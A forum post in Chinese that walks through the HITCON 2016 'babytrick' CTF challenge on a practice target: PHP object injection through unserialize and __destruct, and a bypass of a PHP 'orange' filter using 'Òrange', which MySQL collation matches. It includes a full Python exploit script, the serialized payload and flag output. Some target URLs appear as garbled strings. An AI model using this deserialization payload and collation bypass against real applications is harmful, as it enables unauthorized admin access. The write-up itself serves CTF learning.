首页
社区
课程
招聘
[原创]hitcon-2016-babytrick 解题报告
发表于: 7小时前 102

[原创]hitcon-2016-babytrick 解题报告

7小时前
102

1.题目概述
目标地址:

http://30269a20-ee39-4807-8152-7b969e4b23f4.node.pediy.com:81/

题目是 HITCON 2016 babytrick 的复现靶场,核心考点:

PHP 反序列化控制对象属性
__destruct() 自动调用
MySQL UTF-8 排序规则字符等价
PHP 字符串检测与 MySQL 字符比较差异

最终 flag:

flag{443a0802-d43d-459e-a419-130b9a80f93b}

2.访问源码
首页直接高亮源码:

curl "1edK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0x3H3x3U0j5&6j5e0t1H3i4K6u0V1k6h3f1K6z5g2)9J5k6o6b7^5x3o6N6Q4x3X3b7^5x3e0f1J5i4K6u0V1y4$3t1&6y4U0W2W2y4r3t1J5x3$3j5@1i4K6u0W2L8X3!0V1k6g2)9J5k6i4m8W2k6r3W2&6i4K6u0W2j5$3!0E0i4K6y4m8z5o6q4Q4x3V1j5`."

关键入口:

if(isset($_GET["data"])) {
    @unserialize($_GET["data"]);
} else {
    new HITCON("source", array());
}

也就是说,data 参数会被直接反序列化。

3.HITCON 类逻辑分析
类里有 3 个 private 属性:

private $method;
private $args;
private $conn;

析构函数:

function __destruct() {
    $this->__conn();

    if (in_array($this->method, array("show", "login", "source"))) {
        @call_user_func_array(array($this, $this->method), $this->args);
    } else {
        $this->__die("What do you do?");
    }

    $this->__close();
}

利用思路:
构造一个 HITCON 对象,让:

method = login
args[0] = 用户名
args[1] = 密码
conn = NULL

对象生命周期结束时会自动触发 __destruct(),进而调用:

$this->login($args[0], $args[1]);

4.private 属性序列化格式
PHP 序列化 private 属性时,属性名不是普通字符串,而是:

\x00类名\x00属性名

所以:

private $method;

序列化属性名应为:

\x00HITCON\x00method

完整字段写法:

s:14:"\x00HITCON\x00method";

长度为什么是 14?

\x00       1 byte
HITCON     6 bytes
\x00       1 byte
method     6 bytes
------------------
total     14 bytes

同理:

\x00HITCON\x00args  -> 12 bytes
\x00HITCON\x00conn  -> 12 bytes

5.初始化数据库
题目原始配置中 DEBUG 开关为:

$DEBUG = @$_GET['noggnogg'];

当带上:

?noggnogg=1

会执行建表和插入测试数据:

INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')

初始化命令:

curl "849K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0x3H3x3U0j5&6j5e0t1H3i4K6u0V1k6h3f1K6z5g2)9J5k6o6b7^5x3o6N6Q4x3X3b7^5x3e0f1J5i4K6u0V1y4$3t1&6y4U0W2W2y4r3t1J5x3$3j5@1i4K6u0W2L8X3!0V1k6g2)9J5k6i4m8W2k6r3W2&6i4K6u0W2j5$3!0E0i4K6y4m8z5o6q4Q4x3V1k6Q4x3@1k6F1L8$3N6Y4L8X3!0Y4k6#2)9K6c8o6p5`."

6.写一个序列化构造器
保存为:

solve_babytrick_min.py

内容:

import urllib.parse
import urllib.request

TARGET = "590K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0x3H3x3U0j5&6j5e0t1H3i4K6u0V1k6h3f1K6z5g2)9J5k6o6b7^5x3o6N6Q4x3X3b7^5x3e0f1J5i4K6u0V1y4$3t1&6y4U0W2W2y4r3t1J5x3$3j5@1i4K6u0W2L8X3!0V1k6g2)9J5k6i4m8W2k6r3W2&6i4K6u0W2j5$3!0E0i4K6y4m8z5o6q4Q4x3V1j5`."
Z = b"\x00"

def ser_str(x):
    b = x if isinstance(x, bytes) else str(x).encode("utf-8")
    return b's:%d:"%s";' % (len(b), b)

def ser_arr(args):
    out = b'a:%d:{' % len(args)
    for i, arg in enumerate(args):
        out += b'i:%d;' % i
        out += ser_str(arg)
    out += b'}'
    return out

def hitcon(method, args):
    method_b = method.encode()

    payload = (
        b'O:6:"HITCON":3:{'
        b's:14:"' + Z + b'HITCON' + Z + b'method";' + ser_str(method_b) +
        b's:12:"' + Z + b'HITCON' + Z + b'args";' + ser_arr(args) +
        b's:12:"' + Z + b'HITCON' + Z + b'conn";N;'
        b'}'
    )

    return payload

def request(payload=None, extra_query=None):
    if payload is None:
        url = TARGET
        if extra_query:
            url += "?" + extra_query
    else:
        data = urllib.parse.quote_from_bytes(payload, safe="")
        if extra_query:
            url = TARGET + "?" + extra_query + "&data=" + data
        else:
            url = TARGET + "?data=" + data

    return urllib.request.urlopen(url, timeout=10).read().decode("utf-8", "replace")

# 初始化数据库
request(extra_query="noggnogg=1")

# 验证 show
print(request(hitcon("show", ["phddaa"])))
print(request(hitcon("show", ["orange"])))

运行:

$env:PYTHONIOENCODING="utf-8"
python solve_babytrick_min.py

预期输出:

{"msg":"phddaa is user"}
{"msg":"orange is admin"}

说明数据库初始化成功。
7.login 过滤逻辑
login() 里有关键过滤:

if ( $username == 'orange' || stripos($sql, 'orange') != false ) {
    $this->__die("Orange is so shy. He do not want to see you.");
}

直接登录:

username = orange
password = babytrick1234

会被拦截。
因为 SQL 中一定包含:

username='orange'

触发:

stripos($sql, 'orange') != false

8.绕过思路:PHP 与 MySQL 字符比较差异
使用:

Òrange

替代:

orange

原因:

PHP 层
PHP 的:stripos($sql, 'orange')不会把:Òrange识别成:orange
所以不会触发过滤。
MySQL 层
MySQL 的 UTF-8 默认排序规则通常是大小写不敏感、重音不敏感的比较规则。

所以:

username='Òrange'

可以匹配数据库里的:

orange

这就是本题的关键。
9.验证字符等价
添加测试代码:

for name in ["orange", "Òrange", "Órange", "Örange"]:
    print(name, request(hitcon("show", [name])))

运行结果中可以看到:

orange  -> orange is admin
Òrange  -> orange is admin

说明 Òrange 在 MySQL 查询中成功匹配了 orange。
10. 获取密码
原题公开配置中:

$db_pass = 'babytrick1234';

数据库初始化时插入:

('orange', '$db_pass', 'admin')

所以 admin 用户密码为:

babytrick1234

11.构造最终 payload
登录参数:

method = login
args[0] = Òrange
args[1] = babytrick1234
conn = NULL

未 URL 编码前的 payload 结构:

O:6:"HITCON":3:{
  s:14:"\x00HITCON\x00method";s:5:"login";
  s:12:"\x00HITCON\x00args";a:2:{
    i:0;s:7:"Òrange";
    i:1;s:13:"babytrick1234";
  }
  s:12:"\x00HITCON\x00conn";N;
}

注意:

Òrange

UTF-8 字节长度是 7,不是 6。
12.最终可复现脚本

import urllib.parse
import urllib.request

TARGET = "959K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0x3H3x3U0j5&6j5e0t1H3i4K6u0V1k6h3f1K6z5g2)9J5k6o6b7^5x3o6N6Q4x3X3b7^5x3e0f1J5i4K6u0V1y4$3t1&6y4U0W2W2y4r3t1J5x3$3j5@1i4K6u0W2L8X3!0V1k6g2)9J5k6i4m8W2k6r3W2&6i4K6u0W2j5$3!0E0i4K6y4m8z5o6q4Q4x3V1j5`."
Z = b"\x00"

def ser_str(x):
    b = x if isinstance(x, bytes) else str(x).encode("utf-8")
    return b's:%d:"%s";' % (len(b), b)

def ser_arr(args):
    out = b'a:%d:{' % len(args)

    for i, arg in enumerate(args):
        out += b'i:%d;' % i
        out += ser_str(arg)

    out += b'}'
    return out

def hitcon(method, args):
    method_b = method.encode()

    payload = (
        b'O:6:"HITCON":3:{'
        b's:14:"' + Z + b'HITCON' + Z + b'method";' + ser_str(method_b) +
        b's:12:"' + Z + b'HITCON' + Z + b'args";' + ser_arr(args) +
        b's:12:"' + Z + b'HITCON' + Z + b'conn";N;'
        b'}'
    )

    return payload

def request(payload=None, extra_query=None):
    if payload is None:
        url = TARGET
        if extra_query:
            url += "?" + extra_query
    else:
        data = urllib.parse.quote_from_bytes(payload, safe="")
        if extra_query:
            url = TARGET + "?" + extra_query + "&data=" + data
        else:
            url = TARGET + "?data=" + data

    return urllib.request.urlopen(url, timeout=10).read().decode("utf-8", "replace")

# 1. 初始化数据库
request(extra_query="noggnogg=1")

# 2. 验证普通用户
print("[show phddaa]")
print(request(hitcon("show", ["phddaa"])))

# 3. 验证 admin 用户存在
print("[show orange]")
print(request(hitcon("show", ["orange"])))

# 4. 使用 Òrange 绕过 PHP orange 检测
print("[show Òrange]")
print(request(hitcon("show", ["Òrange"])))

# 5. 最终登录拿 flag
print("[login]")
print(request(hitcon("login", ["Òrange", "babytrick1234"])))

运行:

$env:PYTHONIOENCODING="utf-8"
python solve_babytrick_min.py

输出:

[show phddaa]
{"msg":"phddaa is user"}

[show orange]
{"msg":"orange is admin"}

[show Òrange]
{"msg":"orange is admin"}

[login]
{"msg":"Hi, Orange! Here is your flag: flag{443a0802-d43d-459e-a419-130b9a80f93b}"}

13.解题链总结
完整链路:

源码泄露
  ↓
发现 data 参数 unserialize()
  ↓
构造 HITCON 对象
  ↓
控制 private 属性 method / args / conn
  ↓
通过 __destruct() 调用 login()
  ↓
DEBUG 参数 noggnogg 初始化数据库
  ↓
确认 orange 是 admin
  ↓
利用 Òrange 绕过 PHP stripos('orange')
  ↓
MySQL UTF-8 排序规则把 Òrange 匹配到 orange
  ↓
使用 babytrick1234 登录
  ↓
获得 flag

最终:

flag{443a0802-d43d-459e-a419-130b9a80f93b}

[内核课程]《Windows内核攻防实战》!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。

收藏
免费 0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回